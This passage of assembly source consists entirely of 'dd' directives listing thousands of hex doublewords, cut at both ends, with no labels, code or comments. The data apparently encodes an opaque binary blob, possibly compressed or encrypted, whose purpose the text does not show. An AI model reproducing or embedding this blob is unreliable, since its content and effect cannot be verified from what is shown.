1AE9445Bh, 2A4E0FDFh dd 0AE462B6Eh, 8E4408C1h, 0EFC405EEh, 2CF04EA1h, 4A0D112Ch dd 48418BFFh, 0A6CCAED9h, 2F5F03EEh, 346E8E20h, 10C2B6A7h dd 670EA9FEh, 78084ED3h, 0F0D25A08h, 87BD036Eh, 8AF88EA7h dd 8B6DAEA0h, 0B3012EF0h, 69CECDC0h, 2370D00Eh, 79C27868h dd 47E0E99Dh, 1FAEF004h, 16CC6038h, 0E3EEA0CBh, 0EE0EBC74h dd 86D01CB6h, 31B83A13h, 0A3083741h, 5D6EE03Ch, 55708960h dd 292ECD95h, 0F0A4EF78h, 0D0B7A09Bh, 186A0001h, 0D165D8AAh dd 9C7C96Eh, 2E8064F4h, 32C3E098h, 8E601CAEh, 1F641434h dd 0CA182822h, 254EA8F3h, 0B1821CADh, 48896886h, 509A6A0Ch dd 0AF3EA852h, 0F3CF8EE0h, 7060E646h, 24848A24h, 18C216F8h dd 68D6B5CAh, 0DF1BBD2Ah, 0A2D9CEC3h, 347C1EF1h, 67577410h dd 0EEF54A0Ah, 0EF66D068h, 843C722Ah, 0F0A0AFFEh, 68A4794Eh dd 21C49300h, 4852E5C9h, 8E240097h, 0BF90E7ABh, 0E1004294h dd 5F532D0h, 0ACB16FFh, 9C24B6E5h, 119EE01Ch, 1540B023h dd 5C42081h, 0F43FCD03h, 1D621965h, 0C61E230h, 5082125h dd 0C5184563h, 0F4111CEAh, 0D3A58A04h, 15625834h, 5CD83Fh dd 0B7A14291h, 2005F42Bh, 50870439h, 0A15F1903h, 41D90138h dd 5F68792h, 9C2502FEh, 442F0438h, 69DD284h, 31386E61h dd 65E0D925h, 1E8C5FFEh, 0D798F2DEh, 2030141h, 73E5FB8Ch dd 749ECB15h, 8F31330Dh, 0B3FB3908h, 0E62014AEh, 861498ADh dd 7E3EA4B1h, 0E850ED40h, 7867FC80h, 821F6320h, 55DE3A5h dd 1DB41EA4h, 84E12040h, 5EDC4508h, 1A37B683h, 80EE558h dd 0CABDC05h, 9B091CACh, 8A76D0A9h, 60165021h, 22EEC8D0h dd 0C131C725h, 7165F8A0h, 6BD0D807h, 40397CF7h, 39C8E14Bh dd 60B4A3C5h, 3C7DE36Bh, 77813E40h, 12D8C66Fh, 4363C092h dd 12FD8548h, 47CB2508h, 4F31A850h, 0D8680F0Ah, 510AE0Eh dd 0A10A3772h, 1AA8085Eh, 3CB63868h, 917F2C3Fh, 0B831BD07h dd 5359A598h, 8786988h, 7599FE64h, 3B803087h, 0FFE5F534h dd 3002985Fh, 3C73E334h dd 80BC6100h, 728523C9h, 0EE3E2DE0h, 0D1944101h, 0C34827D6h dd 0D996F6E7h, 0CA0094B3h, 0C52BC878h, 0CDE08052h, 0DDCCC1B3h dd 4DF5369h, 8149C528h, 200F4550h, 7742544h, 815E9980h dd 5203F290h, 6B102478h, 87F3F8D4h, 3EE9A110h, 96F8E10Ch dd 0B35018A0h, 7092E588h, 7C9C2F48h, 25C45F50h, 600509CDh dd 1004981Fh, 54041C2h, 7C6C0D81h, 0B03C0C4Fh, 11115171h dd 7DFE6700h, 81702041h, 0A09862BBh, 404AE6Ch, 2846409Fh dd 3AC7900h, 57CE85ABh, 58BA2D30h, 7B8FAFA1h, 0E6672605h dd 0DD450C08h, 0FA787708h, 0E4662502h, 0F3D85F6h, 0DB7C5C8Ah dd 55EB81Eh, 410434E9h, 4A008D86h, 0AA45F4FBh, 9EA560C3h dd 60C5C02Ch, 30F67CE2h, 9170F58Dh, 251DF054h, 183E4F5Ch dd 0C7104D2Eh, 5F115BCh, 0F0F6F064h, 205C4B11h, 0F9E66181h dd 0BA202105h, 8F8390F0h, 6E998832h, 0B4068A0Fh, 68ACC51Fh dd 65A07B98h, 8876347h, 0B81F3FC3h, 0E500DD2Dh, 5FA57EEh dd 843669Ch, 651F108Dh, 85041023h, 0D0811B84h, 0D820F66Eh dd 0E8E16F67h, 28862F49h, 0E5191875h, 0A01019DBh, 4D858041h dd 94F0BE61h, 44F14CB9h, 5000186Fh, 0A0A5F7BCh, 0C8E82C93h dd 0E2DA6E08h, 0FC84FD01h, 8E5527E5h, 0FA61C806h, 10F54011h dd 2A389C48h, 9933841Ch, 74DA182Bh, 404F2810h, 4A983284h dd 888F13A0h, 0FA585C83h, 943E29A1h, 0F888408h, 8542A785h dd 80066525h, 20F0BE05h, 0A50E37E5h, 8AF1BAC2h, 0A394F8BDh dd 0A4650980h, 0C6040451h, 68850081h, 0D48027h, 50786324h dd 9265D121h, 0F849A3B0h, 80A826FCh, 0A6E534D8h, 0DFB082D0h dd 0C90DF486h, 0C041AE31h, 7C073E39h, 650E5C8h, 0B73265DCh dd 235DC816h, 500F2A36h, 84F1A712h, 9C8A15B5h, 70DBEE84h dd 844F0C1h, 0F9B045FAh, 4C487820h, 22EBAC80h, 0A5408574h dd 0C8E462E1h, 0F4825545h, 0A8A41DE5h, 0C2248A96h, 90867D3Eh dd 0A0A68128h, 485085A4h, 0CB14101Ch, 0BBA8CC15h, 9242653h dd 3E50FA1h, 26E8BCBCh, 3CC4CC98h, 0F8C43328h, 0B01A5091h dd 6508C59Fh, 2B44C3Fh, 98620508h, 4919C5C8h, 54323394h dd 9727EB0h, 417E44A4h, 0CB62ACA5h, 6160982Eh, 98904C63h dd 7247124h, 8A02B565h, 0CAAEF8A8h, 113F546h, 0E51F048Eh dd 0C5708A69h, 44302DF3h, 9039C421h, 38E14868h, 9F53F6ACh dd 0B5C11240h, 30C5C002h, 3F4C054Fh, 6201288h, 841D3409h dd 8B876504h, 9EC2543h, 15E20508h, 0FE053415h, 2821F594h dd 4060C181h, 49D06445h, 25388147h, 2945F32h, 0D69DE1A1h dd 0AE344806h, 8990CEF7h, 30E35079h, 0DD51A5CCh, 2981BD8h dd 366DBBC0h, 0DC144905h, 6D39D9B4h, 2B95CC90h, 248C0B7Bh dd 0FB10DD61h, 0F153707Fh, 0FB011C1Ch, 0C478B6A5h, 77E43B70h dd 0B03C6F79h, 205A8570h, 15C1178Ch, 50A2FC7Eh, 7858C5C8h dd 0E0A51584h, 0E46226C0h, 0A3BDE50Bh, 0E1A08210h, 1C27F385h dd 0E17BA8D8h, 50A34D84h, 65701D30h, 574FCD5h, 0B0556C28h dd 8B60686Eh, 0AA340FB4h, 6DF868A1h, 61C5845Dh, 0C14B81h dd 6495E5h, 0C2D2F116h, 0E744C3B4h, 0C5F0024Bh, 48F85072h dd 850888DAh, 0F2164E36h, 3E2EC849h, 0E3E0C864h, 0B8D8A150h dd 48FAE284h, 0BA77D438h, 0F7183220h, 9CBEA308h, 1FDD8C2h dd 94413086h, 0B8E28E40h, 0D4653738h, 0AC3E97D8h, 9CA271E0h dd 0D424D442h, 79A8D132h, 0D6D09A4Fh, 0B7863E8h, 53DD0510h dd 7D88B805h, 87052B4h, 0A8617498h, 0B9C5B4A0h, 289C0D58h dd 2514B059h, 28AC064Eh, 0C519B0D7h, 0D9109D18h, 93889464h dd 880E8E8h, 1E2044Dh, 2518408Ch, 28F0BA03h, 54B491A1h dd 582AF864h, 0F313FC94h, 3810828Bh, 354484C0h, 0EB2B08C4h dd 0A1822CC1h, 5AE9092h, 0C1416510h, 4476A510h, 6688588h dd 0D007C500h, 1890057Bh, 58814512h, 1893CC0Ch, 464F165h dd 0E498927Ah, 63389029h, 0A0E508F7h, 34C5202Eh, 0DD142586h dd 0D4CB5048h, 0E5564065h, 749CB05Ch, 4443462Eh, 4019DA17h dd 8924238h, 0E88C4C1Eh, 0F24A6568h, 93F3008h, 0C182D145h dd 0F8829EC5h, 7860F305h, 8C28985h, 6193AE5h, 653028E8h dd 0E7851084h, 9C18C92Fh, 47093841h, 1107C680h, 62452D40h dd 0EA250808h, 0E0786502h, 0BA4F057Ch, 93664DCh, 83901A5Ch dd 0E068E534h, 7757A0Ah, 305A0BF8h, 3BCD8F90h, 8DE3D010h dd 8062F1F1h, 559E9A08h, 3251A31h, 57486663h, 0C1E03360h dd 0D9006D87h, 9651D4DBh, 0AD0DB2h, 8A5F30E2h, 0FF26B3D6h dd 77103A1Ch, 82B51C3Ah, 61165A0Ch, 0E6A0624h, 207D2D1Ah dd 8804530h, 1D0F55B4h, 76E43BAh, 8259CADAh, 3A00A47Ah dd 300CC798h, 9A1091FAh, 8CC5823h, 6DDA3879h, 9C70102Fh dd 871BA28h, 3087FD7Ah, 415475FAh, 4392101Ah, 818E084h dd 0EA117C5Ah, 74FAF893h, 8EF280D1h, 880220D2h, 9E40DA31h dd 0FA530484h, 6015B6CFh, 7383B76h, 24F5DAFFh, 0F3004E0Eh dd 0EED85A33h, 0E60808C0h, 40E41A0Bh, 21656AE7h, 880356B8h dd 8181DC7Ah, 8A8F49Ah, 19C8DD26h, 99DC099Eh, 9AA1DAA8h dd 0F910D45Eh, 43588BAh, 0C0C37F96h, 0FFCC864Ah, 25A15A03h dd 0E9D7A0Eh, 0ED36FAA8h, 65881A89h, 8B6700B0h, 96BC7A0Bh dd 0E05E98CAh, 104FFA0Ch, 0A8D1605Ah, 0C35037Ah, 0D3746BF0h dd 0A0F81A37h, 27F1A08Ah, 36A18F0Dh, 6788D98Fh, 6CBA0880h dd 64DA0C1Eh, 3A382374h, 2C0EA941h, 4721F8ECh, 0E956008Ch dd 31DA32D7h, 0E90E723Ah, 0DCC07427h, 0C2264A7Bh, 0D8BB11C0h dd 0A9D757F9h, 1027C7F4h, 145FFAC0h, 4550725Ah, 5CAD4CBCh dd 9E5EFE81h, 84523A97h, 81509D8Bh, 0F007F870h, 0F670898Ch dd 6103E88h, 93E265C4h, 16457036h, 0F51F680Fh, 0A8D28808h dd 50E9B60Ah, 395B0076h, 0CBEB2F43h, 54EA568Bh, 20851092h dd 0B0AB7E60h, 95B619Ah, 850BF738h, 0DBF3F810h, 85031006h dd 30060029h, 0FFB8EBC7h, 6900E5B2h, 29E3CF52h, 73359BB9h dd 0ED28A05Eh, 700C0032h, 0A8B16394h, 3E308AD4h, 89F680Eh dd 75B707Bh, 684BC849h, 6FB000F0h, 96902558h, 5F00B7F2h dd 0E4BCF571h, 0F30B1Fh, 6B1C6E70h, 0C3B4D0E3h, 0DBF4C80Fh dd 0FB7F20DEh, 0D84B72h, 5E03C5C6h, 1059499Ah, 211CD909h dd 2530007Dh, 1206E9Dh, 97463FC5h, 0C4F493B2h, 3A00FC80h dd 0BEFEB78Eh, 7942C47h, 0B12E4FB9h, 87D2D0DCh, 8224FA76h dd 9600A215h, 31367B30h, 744800CBh, 89A07DB3h, 7E0FDCFBh dd 204EFA29h, 318F43C1h, 6A14003Bh, 0AFB9E0E6h, 0B6002D01h dd 4424F4E7h, 30EB165h, 48648FDFh, 0FBE06710h, 0A003C155h dd 57DA81FEh, 2165F89Dh, 9E2800E5h, 1A20A7FFh, 8E0323AEh dd 92F9AD0Fh, 48B61Ch, 732A2FCAh, 99C64143h, 6E01887Ah dd 375E515Bh, 9FEC024Fh, 1B2900D2h, 0EE50B087h, 0A907BA6Ch dd 0C820CE32h, 0E2B1B780h, 4BDA0F5Bh, 0E9C0C27Ch, 0E3156542h dd 82EE6000h, 7009724Ch, 1ED50058h, 899D4690h, 8B006A59h dd 0DEECF3D1h, 0C6FB48h, 4E2D8DF2h, 217ED24Fh, 0FCBF2700h dd 1101AC02h, 0FEF7289h, 95257A58h, 76B02FC0h, 0B6060C72h dd 3A9630BDh, 0E5750019h, 0DA71B4E1h, 8BF86656h, 1AAB3100h dd 64CE7C59h, 263000E9h, 774275D3h, 3700A265h, 0BC228020h dd 0F16C62h, 72BB0BAFh, 0A3EDBAD4h, 80B0BF3Bh, 3D11CF7Ch dd 7E47A74Ah, 8A060163h dd 0F4EE7D22h, 346A103Eh, 67140384h, 857A2876h, 9912ACB0h dd 0EF03FCF6h, 62B1EB3Ch, 0F170CF2Bh, 0BF5CCA3Dh, 0CFA0DB00h dd 5AF2C43Bh, 0FD893301h, 8E4FEDB6h, 3E18DCh, 44B2EF25h dd 7AA2B07Eh, 8E193839h, 122F21C8h, 0FD8B4100h, 0F9E3585h dd 0E3433A57h, 14492A23h, 5D6F11B8h, 1D3FE80Fh, 0B478CADAh dd 35745200h, 99A925h, 6C38D1F4h, 1B8BC9A0h, 8031983Fh dd 5B47A6DAh, 0EC4FD058h, 44E7005Ch, 723CAB6Ah, 0C5F0D5D3h dd 80DB0A3Fh, 3F7842F0h, 74A91C2Bh, 76E00EEh, 0DE3BBC27h dd 3A010A15h, 2FCDC460h, 0F1E4A069h, 0A19CA01Dh, 58742824h dd 0F72D0010h, 0EB514953h, 650003EDh, 0E5DFA7B8h, 986206h dd 0FAC75822h, 9D94634h, 0B4738100h, 0AE59E692h, 31E70F0Dh dd 8F00EC48h, 10D64163h, 1F241E79h, 69B3248Dh, 19F580B2h dd 0BF0A1C9Dh, 0C54580B4h, 0FAC8E8CAh, 0DE424600h, 3DC364AAh dd 0E5010712h, 1FDF939Dh, 53FEAB20h, 0B6005E05h, 0DA80FC22h dd 0ECD1D93Ch, 90A51DCFh, 0C9BE8068h, 70692813h, 0A0B64A00h dd 255C4E5Ah, 74900B0h, 2313DEFCh, 0F8A2168Dh, 0B4E98A40h dd 0E0C3D13Eh, 1B9003A8h, 0D2522408h, 22210C0Ah, 0A0002888h dd 0D1542534h, 0C0027C13h, 8C1B2459h, 0E204C2B3h, 17C72C78h dd 0FCCF4880h, 0DC62031Eh, 1A4652Bh, 0AB4D96B8h, 5D353E00h dd 85120D9Eh, 0C2D601E6h, 876B69Ah, 0BE19E049h, 1B3E250Ah dd 0E809C38h, 104BE12Eh, 0E6A20108h, 0A4FD9147h, 8449C47Fh dd 1CD8BF24h, 7EC3E91Eh, 0A899FFDDh, 3CA724CDh, 0A538D65Ch dd 80A63580h, 0C2CA04Ah, 0C6B07B00h, 4B67EC54h, 5E3938D0h dd 30E7F82h, 28487DAAh, 6CA01860h, 8460D286h, 7FB93318h dd 5CFC006Ch, 37054C28h, 0FF00F01Ch, 0D242DC56h, 1C973E0Dh dd 80405B66h, 5F0278CBh, 9C00EF30h, 54A1A4B9h, 7DE942CFh dd 41F624h, 0B8062D48h, 58937092h, 0DB153F09h, 9B44B08Ah dd 446700D1h, 0C093AD51h, 3009DFEh, 0F788B281h, 0E9E4916h dd 0B335961Dh, 0B7368C80h, 37005A33h, 0DCCCA2CAh, 1D848FA8h dd 0F0ACDD09h, 0C09481D9h, 0FFAD3000h, 32439C9Dh, 9B4B00A2h dd 6B2B5BD3h, 0F7787812h, 8EEC470Ah, 7900D490h, 22F092B0h dd 6F3101B7h, 0F9C6F559h, 604E80DCh, 8E70E477h, 4D660E25h dd 22605A1Fh, 87BB12EBh, 0C60150E8h, 11EA19DFh, 8034A9C0h dd 0E1C81EBCh, 68261Fh, 8671083Eh, 4B765622h, 4660B114h dd 0AD52C0D0h, 35A739Fh, 0AC4879E2h, 9001AFA5h, 610B8012h dd 10300228h, 3AB203EDh, 0DE29B116h, 8990F904h, 70900541h dd 0DB3B867h, 5203F9BFh, 20EC258Ch, 6C093D34h, 81611C23h dd 0E4784EE8h, 24216AF8h, 7A4E855h, 2201B239h, 6048E1C0h dd 1000689Bh, 46FCA6C3h, 5285B3B4h, 691FE80Ah, 764E43C4h dd 0EFC835AEh, 8900F2D7h, 5EC7203Ch, 30B4E344h, 736116D0h dd 0A4A04AD3h, 1007C8A0h, 0FBD73324h, 8C775151h, 404644Ch dd 8EE4D8E7h, 0EF78C31Ah, 0FA0E8880h, 0EB4AA307h, 500868Ah dd 0C0E376B2h, 15B078E9h, 5D0058ABh, 49E7C16Bh, 128C7AA6h dd 40656174h, 0D16A7FE4h, 100EDE4h, 98DB7909h, 0A02445h dd 83BFEB4Eh, 35C7AC4h, 0C129D416h, 411EA461h, 57C48FCh dd 36B707FEh, 0C6A81F66h, 0C156852Fh, 98F7EA38h, 0B870CAA4h dd 0FEF3393Eh, 0AD995F80h, 0FB535D31h, 66FA2302h, 0CB6110C3h dd 39A90800h, 7E0203F4h, 6119A66Dh, 0C5FD403Dh, 10F6FCh dd 5EB1D627h, 225177C9h, 3DB0F250h, 8065401h, 15C8E1E7h dd 0ECF07430h, 40340001h, 0A92F833h, 0A8A02158h, 67058006h dd 7651F9A5h, 7F020D8h, 5D686E25h, 0DB58C02Bh, 3C7974A5h dd 8F47AA00h, 91B036D3h, 279706FFh, 0B0F5C82Dh, 0D83AA900h dd 41B3EA69h, 4440ED42h, 0BC3957h, 221670B7h, 4D3ABDB1h dd 1DE17600h, 0BBDE5FF2h, 9CD4070Fh, 207D3589h, 0B16193FFh dd 7AA8451Dh, 85CA9743h, 2998B011h, 0E9900BCh, 55CC2F1h dd 9BFCBBFAh, 0E4AD2B00h, 0A332B1F0h, 2F8C1842h, 0D20B2817h dd 0E7769B00h, 0F39646Bh, 84928Dh, 0F49D373Bh, 205FEC91h dd 6F55707h, 0CBE0DD16h, 49BEAEh, 0CF17501Fh, 5E99A896h dd 0A5F9880Bh, 4A94823Fh, 218B8065h, 3921397h, 1705D61h dd 603E7B42h, 12CC0715h, 7309EC8h, 0E7AA5B2h, 0DA174602h dd 4472AA81h, 77967074h, 20BE9A24h, 0EB201D00h, 0E1122BAEh dd 13302D21h, 1B5901D5h, 0CA72B8ADh, 2DC02038h, 936FAA00h dd 5CD54111h, 0A76500DEh, 37016CAEh, 50926DA5h, 330B10E6h dd 85248305h, 0ECD0276Ch, 606344h, 0F76A75B8h, 1093A9B5h dd 64861B2Ch, 8024E0A1h, 0EE00A021h, 82B3B9DAh, 0C741009Ah dd 6E04BB60h, 6B60116Fh, 3B470271h, 6D1A0020h, 3382AC3Ah dd 0CB60FC3Eh, 0E558A6B9h, 509BE1h, 5BFAC672h, 0CB273D6h dd 0EA8CF802h, 832178F3h, 0B5D8C688h, 46B39000h, 3164D0h dd 97130935h, 0DE630217h, 0F226D916h, 7BCAC15h, 22E00C48h dd 88801CE4h, 933F4FFCh, 0AC0700B8h, 3E2C1B35h, 15C61204h dd 90A0428Fh, 2D060E1Eh, 81A0F1D6h, 0B1651085h, 0CD7D124h dd 0CE560502h, 64CD404Fh, 0A2EE0703h, 0A03EDA42h, 88EBA347h dd 4A8A6051h, 0F2E200F0h, 91811129h, 61B3CD7h, 2B509881h dd 0C1BE904Ah, 0B2407476h, 56411214h, 63C00B2h, 0F1AA0E43h dd 6472BCh, 0DAE60B19h, 730CD4A1h, 13C050FFh, 392CB018h dd 705010ECh, 0CD7DC9h, 8CC7150Bh, 0E1717DC6h, 674691C7h dd 7A862561h, 0E2914880h, 0A731081Ah, 4692EB00h, 53EC2737h dd 0A2ED18FDh, 0DAB058C6h, 23913300h, 35C74EA8h, 4298348Bh dd 90C834E8h, 74034C10h, 0E61F8C00h, 3DF41630h, 84FE130Fh dd 2B4C011Ch, 624A03D1h, 46416074h, 3E27F622h, 0ED3F3E07h dd 0DB778E0h, 0F201C5F4h, 96BFF980h, 2EECC633h, 2E1B0A5h dd 0A9D302ABh, 8C43E2ECh, 154461A8h, 0A8BBD400h, 34F71C55h dd 0E8F09A8Bh, 0AC705CEDh, 0E05CE02Ch, 205EA617h, 8F95E309h dd 87B8A02Ah, 435B4Eh, 8AF5EA8Dh, 9C217BC1h, 0ED7E800h dd 4BDFE8Ch, 0B0C4F8A6h, 129A76C6h, 0CA7C70FFh, 0EF8B0080h dd 2578F12Ch, 7F9F0053h, 0A108CF10h, 1C00094Bh, 96245487h dd 42084DDh, 0C692A09Ch, 142C8039h, 0B400BD27h, 0FD21F089h dd 921BBE03h, 3E067AF0h, 3D26792Ah, 0E2E40084h, 1F75AB29h dd 1ACC5303h, 0D0E5809Bh, 53C35BB2h, 7724B886h, 1C944990h dd 0F02EC300h, 6A2CC9BCh, 0FF7ED7h, 0BFC1DF3Ah, 0F7B54D10h dd 0CAE8FA0Eh, 0E044368Ch, 2CC81360h, 3A97034Eh, 0BC237957h dd 7BD9AA0h, 0FCD0C501h, 41420A8Ch, 32CAC440h, 0F37D149Bh dd 2700F819h, 0F452E976h, 0A80B7B6Bh, 106C5F02h, 43EA398h dd 60318436h, 0D2E0B117h, 0E6D484A0h, 0E7098697h, 32B9FA4Eh dd 0BD08C04Ch, 0E0083FF9h, 55CED180h, 46BA4CF0h, 2F1D1004h dd 4888AEBBh, 94321023h, 0D2AC0E51h, 0D4F7809Fh, 9FE0D7Fh dd 7BC92C55h, 788C688Bh, 0AE04AD88h, 0B8F2D14Dh, 88BAAC90h dd 409A002Ah, 775A0DAAh, 0A7F04B0Eh, 64008CA6h, 5DB8CCA5h dd 3A45B6EDh, 776EF76h, 1E56F18Eh, 0B4B0A16Dh, 9A0EDC42h dd 0E3376900h, 47ACA189h, 29067EB3h, 1949530h, 0A044F512h dd 31DAFD9Eh, 5C68EC60h, 4B4A700h, 43511642h, 0EE901F31h dd 73418A30h, 79360480h, 0AC00136Dh, 0AF6ED115h, 8AEA0ED4h dd 0B48042E7h, 0C368E11Fh dd 1CA68C2Ch, 7E49A422h, 9224888h, 612BDB37h, 0F6FC9E34h dd 0B7D8055Bh, 43E670C9h, 21EAD3C8h, 6C06C7C0h, 0BC07B54Ah dd 0D2D04C76h, 918A8EE1h, 55950328h, 0BD80DBF8h, 1059483h dd 2CC8F1B4h, 748DD8D0h, 65D89C73h, 47FCC0E5h, 0EF30E119h dd 0D1F498Bh, 59B2487Eh, 8C062F00h, 0E3E4B803h, 0A9F4230Ch dd 30E0DEh, 0E2965158h, 0C15F8C50h, 37ED0900h, 5417F24Ch dd 0D4C80F5Ah, 3540600Eh, 0ED6E363Fh, 1B74C500h, 2CF2494Bh dd 728607D8h, 20E33DFDh, 6F9C81E5h, 4F0070F6h, 95685D2Eh dd 4C0525E8h, 2100BC67h, 1E935A94h, 0AD0C2627h, 90AA3369h dd 824A000Fh, 0CF819850h, 0BA03962Eh, 5A4B0B49h, 744E986Ch dd 0FA750079h, 0D04523E7h, 0ECE7731Bh, 0A500DE3Eh, 49CA4E12h dd 98E69Eh, 0AD4CBF5Dh, 63A7BA2Dh, 0AAE8EE4Bh, 58729300h dd 92201B82h, 70319814h, 19760080h, 4B93348Bh, 9E7107EBh dd 0C0F67FB8h, 0AD3256Ch, 8070683Eh, 8503A887h, 2E166Eh dd 91C0994Ch, 56A31F4Ah, 0E8C2F50h, 73C7DC18h, 0FBDD058h dd 2BE783C4h, 95323600h, 33000D72h, 46210F26h, 865392h dd 8DC3D43h, 1334C440h, 0D5CE9100h, 1E65CC0Eh, 53680F41h dd 0F7C20720h, 84A30BE5h, 0C884224h, 70EE726Dh, 0FECD9E2Eh dd 9FB87305h, 99C18440h, 3A7990CBh, 938B2D2Fh, 0AB00ABF2h dd 0C7EEE721h, 0F90CEB00h, 7AA9DB90h, 91481F56h, 75CAC0DDh dd 46F14B74h, 0A4C8B000h, 4DE73B63h, 7BB0CF1Dh, 0CC29A960h dd 0D063219h, 972F9F9Dh, 52902CF8h, 341E0051h, 0EEC784D6h dd 80D31A38h, 0ADDB756Fh, 3897728Bh, 4E80C985h, 0B37AD621h dd 59EC4B02h, 0F44F3F00h, 533DABB2h, 7361C02Bh, 89783394h dd 2E5580C0h, 60D3681Fh, 0D4C5101Ch, 120456D9h, 0E6A0AA49h dd 0F7662080h, 0AF930030h, 0A49485DCh, 3500C46Ah, 0FD1A3C95h dd 90E6B38Dh, 3A617678h, 0E903523Fh, 72ED4332h, 3CDD87A0h dd 0D8250804h, 18903F5Fh, 776F6Ah, 0B353B892h, 98235B78h dd 40FAFAEEh, 0E89D5700h, 55058796h, 0DC5F0033h, 0E18422D1h dd 6F001D70h, 0EDEF1AA8h, 0F35EA0h, 37BF8113h, 152FAC82h dd 58D51D2Dh, 5D200FCh, 0CBC9A998h, 0B200B689h, 0C8DC28F2h dd 1E632EB9h, 40FE6D86h, 0B1C93F7h, 0D8002441h, 61ECC5BCh dd 0F50C4Fh, 5EA11E52h, 0D7B9CD02h, 10878930h, 0D24F97h dd 0B7518D18h, 66021E43h, 0C028EE03h, 914E4D14h, 7DF58AFDh dd 0D93AA07Eh, 903A1A30h, 903E86h, 12F8F55Bh, 0AC0F2D11h dd 38CB4F06h, 2D8EE96h, 78393A89h, 92608807h, 0BD0FA65Dh dd 606C87ECh, 2E011485h, 0DBFC0033h, 0D83EB8AEh, 3D397304h dd 7F4C074Fh, 0BF1730h, 0ABA2CC2Dh, 26F40166h, 40D2DAE1h dd 737EC877h, 21823B00h, 24810834h, 188C0AEAh, 3EBF3D4h dd 84C27749h, 35BBFEA8h, 42308160h, 3A7DFE0h, 59C050ACh dd 7E892EE8h, 0CD58801Fh, 8C104F6Dh, 7C5479CCh, 8A7603C3h dd 483BC1C7h, 0C4E5B4C0h, 90261100h, 73DE5BE3h, 217500B9h dd 0BA6AACBh, 0BBE0B820h, 2207A0ECh, 0F4D0FB34h, 3C9BFF6h dd 3CB9FF56h, 1588B758h, 41C0CFF8h, 118A234Fh, 0A978A2h dd 0D99CC4E6h, 2297E458h, 0FB2610C0h, 2D75C2h, 939E8217h dd 0ADA6CEE1h, 0B038E7A0h, 0D42CF600h, 77C0CDEEh, 0EB0B00A5h dd 0B105956Dh, 60146D1h, 8B9EAF1Dh, 9080A1FAh, 3289BEC9h dd 0CB001641h, 0EA8E4A5Dh, 0EDCEB2FBh, 11E3ECh, 0D90F6F2Eh dd 0D6051EF4h, 8D35C31Fh, 1F955447h, 5513D340h, 350C0A5h dd 17C4BBBFh, 22E83C1Fh, 4FFCB282h, 48C0808Bh, 0F6EFD910h dd 3D2007A3h, 0C068FB1Ah, 0F115F34h, 0E6D43C54h, 0A84AA600h dd 0BCE842DEh, 0B5F230CEh, 0C2FAFBE8h, 8E757F7Bh, 3EDC5900h dd 79FD9EBEh, 0AF083CFEh, 21B01703h, 0BB986782h, 9503EB2Ch dd 0E5C8F7DBh, 0FF90F05Ch, 43530029h, 8A870F92h, 5001FD4h dd 0D1167C97h, 1280613h, 0CF01E853h, 8A8FD35Fh, 0B8CCAC91h dd 0D4014393h, 0BFB661CAh, 0A9338080h, 9DB16387h, 0EA8CD8A8h dd 0D10A8400h, 0C2F73951h, 952F0370h, 0A99D7552h, 5BD8D100h dd 51268718h, 0C888AB16h, 0B605D6h, 254E7F9Dh, 0C32442ACh dd 95334F00h, 0D396CBA1h, 0F9F100F4h, 0ABE8FBECh, 0DC30171Fh dd 0F29F5858h, 98BC6055h, 0A2F378F6h, 0D64CC2E8h, 3E3077FCh dd 0C0DEE01Dh, 7F487810h, 4E182882h, 0D3EE12D6h, 80300986h dd 0CB344838h, 0AE31F0FDh, 4E6EB30Eh, 0C8892AFFh, 0CC768100h dd 8082F89Ch, 0A3009328h, 0F198AB1Ah, 1E01906h, 97F371EEh dd 20A650C6h, 0C7024718h, 0BF43E527h, 88B080F6h, 0E41D8092h dd 0F348C38Ah, 0B2E06AEBh, 9B18421Bh, 0BC911F09h, 9E7A3323h dd 93B0EF48h, 204C1726h, 0CC5E2B70h, 0B29F090Eh, 0B2D1440h dd 714239h, 0D08F0F98h, 55FCAE96h, 78207B72h, 9C6D00F5h dd 0C09E1F3h, 0E402DE11h, 0A8DBA22Ah, 0A09A404Eh, 0C1C4C51h dd 0FE1C200h, 1D359F56h, 0D11C5AFAh, 83807CFCh, 1E7B66DEh dd 96CAEABh, 562EECDCh, 0E00E9C20h, 7024D2B4h, 2B00DCD3h dd 24C59B87h, 4E4F0034h, 52433F8Ch, 0BB00E379h, 0A2190176h dd 6D55F7h, 31DA8A71h, 0F64B04E8h, 960B5715h, 0B54A078Ch dd 1C5199C8h, 9C432788h, 14F49017h, 85BB1F7Ah, 0E031C7DBh dd 59C6000Eh, 67141A7Eh, 7BDA710Fh, 8F570C05h, 0A0400BA0h dd 6CC28673h, 83B0A8F3h, 0FB5A39D9h, 29122A82h, 0D840A42Bh dd 131A7E9Fh, 87029851h, 4D93729Fh, 8DEED857h, 0E8DB12C8h dd 79F80390h, 37C06AC6h, 0B5207B42h, 48BF124Dh, 12A0037Dh dd 0F4C0B482h, 921FC698h, 97C0CC13h, 2ADA2131h, 0F8C1035Ch dd 64EC6683h, 40A9BA80h, 76E2C902h, 63E4287Ch, 0FD512B94h dd 541F3A90h, 0C72A00DEh, 6A10293Ch, 4298181Eh, 4E15807Ah dd 77AF12CBh, 0A0E3006Eh, 0F0C5A1C6h, 8A3872D4h, 5D6A805Ch dd 2859CC88h, 4AC00083h, 0F7FDA3B0h, 580033CDh, 82F2F4C9h dd 0F063138h, 63A272D3h, 0D5DD1C40h, 5071886h, 0D1F86924h dd 559C6070h, 0C3A00058h, 50ECE638h, 2B129514h, 0CC0DED88h dd 4035C9B4h, 9A518ED4h, 0D228004Ch, 1491921Bh, 660067A3h dd 52F9D997h, 0A8E298DCh, 137F4D18h, 41A6418Bh, 6B60B838h dd 264224Bh, 6301F36h, 60E062E7h, 0B0A5A959h, 0E0124C68h dd 0D25589DEh, 0E20C6023h, 50E0CA94h, 0EE0035B0h, 0E442FC4Dh dd 3DAFF55h, 59D3A56Bh, 95F0C783h, 7E588C8Ah, 2104DEA8h dd 84808098h, 0F172B028h, 37002467h, 0C3E4E295h, 30030D5h dd 0FF97D12Fh, 6A7FBFh, 9A6FE7C9h, 0D948E631h, 0BE0194A5h dd 9A0BF8D1h, 642DC4h, 0A1441092h, 261F848Ch, 6957E701h dd 0D999C97h, 38CD2BDCh, 6C02EF14h, 0FF490F1h, 73CAAFE0h dd 0C7B03Dh, 0D2BC9699h, 0C8301Ah, 0AE83AD33h, 28F6DEA6h dd 2697BD0Fh, 0A0AAE181h, 2E80DC8Fh, 0DDA6E798h, 0EA00ED83h dd 9DFDCAD0h, 7199468h, 7F3ABE7Dh, 0EBE5201Ch, 0D8489C9Fh dd 0F1F7194Ah, 0D68027A1h, 2FB0C025h, 0DB027A12h, 